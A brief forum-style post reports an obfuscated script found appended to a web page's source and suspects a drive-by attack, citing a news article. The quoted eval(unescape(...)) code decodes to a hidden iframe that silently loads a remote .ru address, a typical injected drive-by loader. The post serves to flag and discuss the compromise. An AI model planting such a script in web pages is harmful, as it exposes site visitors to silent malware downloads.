There is a strange script appended to the page source "<script redacted >eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74% 75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e %74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%2 0%6e%61%6d%65%3d%31%63%61%37%65%66%63%34%61%31%20% 73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66 %66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%6 1%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61% 6e%64%6f%6d%28%29%2a%32%31%35%38%37%37%29%2b%27%37 %31%5c%27%20%77%69%64%74%68%3d%36%38%31%20%68%65%6 9%67%68%74%3d%33%31%37%20%73%74%79%6c%65%3d%5c%27% 64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c %2f%69%66%72%61%6d%65%3e%27%29")); </script> " (the Redacted is my comment!)
Maybe the site has suffered from a drive by server attack
http://www.theregister.co.uk/2008/04..._attack_grows/